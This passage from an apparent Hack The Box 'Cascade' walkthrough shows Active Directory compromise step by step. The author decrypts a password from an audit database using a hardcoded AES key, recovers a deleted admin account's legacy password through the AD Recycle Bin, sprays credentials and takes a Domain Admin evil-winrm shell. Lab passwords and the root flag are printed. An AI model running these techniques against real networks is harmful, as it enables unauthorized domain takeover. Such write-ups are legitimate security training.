*Evil-WinRM* PS C:\shares\audit> more RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
```

It looked like the executable `CascAudit.exe` runs against the database file `Audit.db` when this batch script is run. I downloaded the database file and then used the command `sqlite3 Auditdb`, which got me a SQLite shell with which I could enumerate the database.

```sql
zweilos@kalimaa:~/htb/cascade$ sqlite3 Audit.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .databases
main: /home/zweilos/htb/cascade/Audit.db
sqlite> .tables
DeletedUserAudit  Ldap              Misc            
sqlite> .dump DeletedUserAudit 
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "DeletedUserAudit" (
        "Id"    INTEGER PRIMARY KEY AUTOINCREMENT,
        "Username"      TEXT,
        "Name"  TEXT,
        "DistinguishedName"     TEXT
);
INSERT INTO DeletedUserAudit VALUES(6,'test',replace('Test\nDEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d','\n',char(10)),'CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(7,'deleted',replace('deleted guy\nDEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef','\n',char(10)),'CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local');
INSERT INTO DeletedUserAudit VALUES(9,'TempAdmin',replace('TempAdmin\nDEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a','\n',char(10)),'CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local');
COMMIT;
sqlite> .dump Ldap
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "Ldap" (
        "Id"    INTEGER PRIMARY KEY AUTOINCREMENT,
        "uname" TEXT,
        "pwd"   TEXT,
        "domain"        TEXT
);
INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');
COMMIT;
sqlite>
```

First I dumped the `DeletedUserAudit` table, which revealed that the user `TempAdmin` I had been looking for had been deleted! Perhaps I could find some remnants of that user which would give me his admin credentials. I dumped the `Ldap` table of this database, which gave me only a few queries including the line `INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');` which looked like it contained a password for the `ArkScv` user that I was hoping to move laterally into. Now I had to figure out what kind of encryption it was stored with (it wasn't simple base64 unfortunately).

![](https://1729918369-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MA7zFtkdm8aZR_ujQOq%2F-MDHuOhTsvPrlF7GNwko%2F-MDI0mI5qOPQ294i59-F%2F4-encryption-code.png?alt=media\&token=13f19f78-00ef-4c1e-8cfd-1506f9536bcb)

Since I had noticed that  `CascAudit.exe` interacted with the database file, I was fairly certain that it had something to do with the encryption.  The file `CascCrypto.dll` in the same folder strengthened my suspicions.  I loaded each of those files in [ILSpy](https://github.com/icsharpcode/AvaloniaILSpy) hoping that they had been compiled with .NET.  Luckily for me they had, and I was presented with the source code for the files.  I very quickly spotted the line`password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");` which pointed me to both the decryption method and also what was most likely a hardcoded encryption key. &#x20;

![](https://1729918369-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MA7zFtkdm8aZR_ujQOq%2F-MDHuOhTsvPrlF7GNwko%2F-MDI0blJVZfwfqH_b8jA%2F4-casc_crypto.png?alt=media\&token=952ac7fd-8a14-4e54-ad4f-9f49873e5e68)

I copied the decryption method from `CascCrypto.dll` and the encryption key from the executable then loaded the code into [dotnetfiddle.net](https://dotnetfiddle.net) where I could compile and run it.&#x20;

If I hadn't been comfortable with writing a tiny bit of C# to get the code to run, all of the information needed to use other methods is contained in the code.  The encryption algorithm is AES in CBC mode with a key and block size of 128 bits, and an IV of 1tdyjCbY1lx49842.  Taking this information with the known ciphertext and encryption key, I could have used any number of programming or scripting languages, or even websites to decrypt the password (such as one of my favorite sites for deciphering and decoding: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)).

![](https://1729918369-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MA7zFtkdm8aZR_ujQOq%2F-MDHuOhTsvPrlF7GNwko%2F-MDI0qbxoYYTJfYImfQ2%2F5-decrypted.png?alt=media\&token=d598704a-2d38-4bea-8fab-4bae3205017e)

After a little bit of work to make the code function as a stand-alone program, it gave me the password `w3lc0meFr31nd`.  _I'm not sure what the undecipherable characters are in the output, but luckily leaving them out did not cause any issues with logging in with this password._

### Moving Laterally to `arksvc`

```
zweilos@kalimaa:~/htb/cascade$ evil-winrm -u arksvc -p w3lc0meFr31nd -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all

USER INFORMATION
----------------

User Name      SID
============== ==============================================
cascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ===============================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share                          Alias            S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT                                  Alias            S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\AD Recycle Bin                      Alias            S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users             Alias            S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

Darn, I expected this user to have **SeBackupPrivilege**. Oh well, so much for the easy win. The group `AD Recycle Bin` looked promising, however. I did some research on this group and found a blog that talked about how to exploit it at [https://blog.stealthbits.com/active-directory-object-recovery-recycle-bin/](https://blog.stealthbits.com/active-directory-object-recovery-recycle-bin/).  There was also a bit of interesting trivia included that related to this machine:

> The Active Directory Recycle Bin was introduced in the Windows Server 2008 R2 release.

Using the information in the blog, it looked like I could revive the `TempAdmin` account that I had seen when I enumerated the database, which had been deleted.

```
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
```

Running this command from the article returns:

```
Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted           : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local
Name              : Scheduled Tasks
                    DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass       : group
ObjectGUID        : 13375728-5ddb-4137-b8b8-b9041d1d3fd2

Deleted           : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                    DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass       : groupPolicyContainer
ObjectGUID        : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e

Deleted           : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name              : Machine
                    DEL:93c23674-e411-400b-bb9f-c0340bda5a34
ObjectClass       : container
ObjectGUID        : 93c23674-e411-400b-bb9f-c0340bda5a34

Deleted           : True
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name              : User
                    DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
ObjectClass       : container
ObjectGUID        : 746385f2-e3a0-4252-b83a-5a206da0ed88

Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name              : TempAdmin
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059
```

There is the `TempAdmin` user we were looking for. According to the blog, we can restore it with the command `Restore-ADObject -Identity "<ObjectGUID>"`.&#x20;

```
*Evil-WinRM* PS C:\Program Files (x86)> Restore-ADObject -Identity "f0cc344d-31e0-4866-bceb-a842791ca059"
Insufficient access rights to perform the operation
At line:1 char:1
+ Restore-ADObject -Identity "f0cc344d-31e0-4866-bceb-a842791ca059"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (CN=TempAdmin\0A...ascade,DC=local:ADObject) [Restore-ADObject], ADException
    + FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.RestoreADObject
```

Well that looks like a bust...I wonder what else can `arksvc` do with a deleted account? I tried trimming down the command to see how different the output was.

```
*Evil-WinRM* PS C:\Program Files (x86)> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

--snipped--
CanonicalName                   : cascade.local/Deleted Objects/User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
CN                              : User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
Created                         : 1/26/2020 2:34:31 AM
createTimeStamp                 : 1/26/2020 2:34:31 AM
Deleted                         : True
Description                     :
DisplayName                     :
DistinguishedName               : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/1/1601 12:00:00 AM}
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Modified                        : 1/26/2020 2:40:52 AM
modifyTimeStamp                 : 1/26/2020 2:40:52 AM
msDS-LastKnownRDN               : User
Name                            : User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : container
ObjectGUID                      : 746385f2-e3a0-4252-b83a-5a206da0ed88
ProtectedFromAccidentalDeletion : False
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
uSNChanged                      : 196700
uSNCreated                      : 196690
whenChanged                     : 1/26/2020 2:40:52 AM
whenCreated                     : 1/26/2020 2:34:31 AM

accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM
```

For a deleted account there was sure a lot of information still stored! There were a few other deleted objects, but the additional information included in the `TempAdmin` object gave me everything I needed. There was another base64 encoded **CascLegacyPwd**.

```
zweilos@kalimaa:~/htb/cascade$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
```

Decoding the base64 string `YmFDVDNyMWFOMDBkbGVz` gave me the password `baCT3r1aN00dles`.

## **Getting an Administrator shell**

```
zweilos@kalimaa:~/htb/cascade$ crackmapexec winrm -u users -p passwords -d Cascade 10.10.10.182
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] Cascade\Administrator:rY4n5eva "the specified credentials were rejected by the server"
WINRM       10.10.10.182    5985   CASC-DC1         [-] Cascade\Administrator:sT333ve2 "the specified credentials were rejected by the server"
WINRM       10.10.10.182    5985   CASC-DC1         [-] Cascade\Administrator:w3lc0meFr31nd "the specified credentials were rejected by the server"
WINRM       10.10.10.182    5985   CASC-DC1         [+] Cascade\Administrator:baCT3r1aN00dles (Pwn3d!)
```

_Pwn3d!_

### **Root.txt**

After getting the password for `TempAdmin`, which I had read earlier was the same as the normal Administrator account, I was able to finally login to an Administrator shell and gather up my hard-earned loot.

```
zweilos@kalimaa:~/htb/cascade$ evil-winrm -u Administrator -p baCT3r1aN00dles -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/26/2020   8:56 AM             34 root.txt
-a----        3/25/2020  11:17 AM           1031 WinDirStat.lnk


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
c819f64119a10a2aa646d6883796d488
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami /all

USER INFORMATION
----------------

User Name             SID
===================== =============================================
cascade\administrator S-1-5-21-3332504370-1206983947-1165150453-500


GROUP INFORMATION
-----------------

Group Name                                     Type             SID                                            Attributes
============================================== ================ ============================================== ===============================================================
Everyone                                       Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                         Alias            S-1-5-32-544                                   Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                  Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access     Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                           Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users               Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                 Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CASCADE\Domain Admins                          Group            S-1-5-21-3332504370-1206983947-1165150453-512  Mandatory group, Enabled by default, Enabled group
CASCADE\Group Policy Creator Owners            Group            S-1-5-21-3332504370-1206983947-1165150453-520  Mandatory group, Enabled by default, Enabled group
CASCADE\Schema Admins                          Group            S-1-5-21-3332504370-1206983947-1165150453-518  Mandatory group, Enabled by default, Enabled group
CASCADE\Enterprise Admins                      Group            S-1-5-21-3332504370-1206983947-1165150453-519  Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share                             Alias            S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Denied RODC Password Replication Group Alias            S-1-5-21-3332504370-1206983947-1165150453-572  Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication               Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level           Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                                                    State
=============================== ============================================================== =======
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process                             Enabled
SeMachineAccountPrivilege       Add workstations to domain                                     Enabled
SeSecurityPrivilege             Manage auditing and security log                               Enabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects                       Enabled
SeLoadDriverPrivilege           Load and unload device drivers                                 Enabled
SeSystemProfilePrivilege        Profile system performance                                     Enabled
SeSystemtimePrivilege           Change the system time                                         Enabled
SeProfileSingleProcessPrivilege Profile single process                                         Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority                                   Enabled
SeCreatePagefilePrivilege       Create a pagefile                                              Enabled
SeBackupPrivilege               Back up files and directories                                  Enabled
SeRestorePrivilege              Restore files and directories                                  Enabled
SeShutdownPrivilege             Shut down the system                                           Enabled
SeDebugPrivilege                Debug programs                                                 Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values                             Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                                       Enabled
SeRemoteShutdownPrivilege       Force shutdown from a remote system                            Enabled
SeUndockPrivilege               Remove computer from docking station                           Enabled
SeEnableDelegationPrivilege     Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege         Perform volume maintenance tasks                               Enabled
SeImpersonatePrivilege          Impersonate a client after authentication                      Enabled
SeCreateGlobalPrivilege         Create global objects                                          Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set                                 Enabled
SeTimeZonePrivilege             Change the time zone                                           Enabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                                          Enabled
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Woot! Domain Admin!

Thanks to [`Vbscrub`](https://www.hackthebox.eu/home/users/profile/158833) for this machine which was fairly easy, but had some interesting takes on old methods and also included some things which were new to me.  Easy challenges should never be beneath you, because each one is a validation of how much you have learned!

If you like this content and would like to see more, please consider [buying me a coffee](https://www.buymeacoffee.com/zweilosec)!
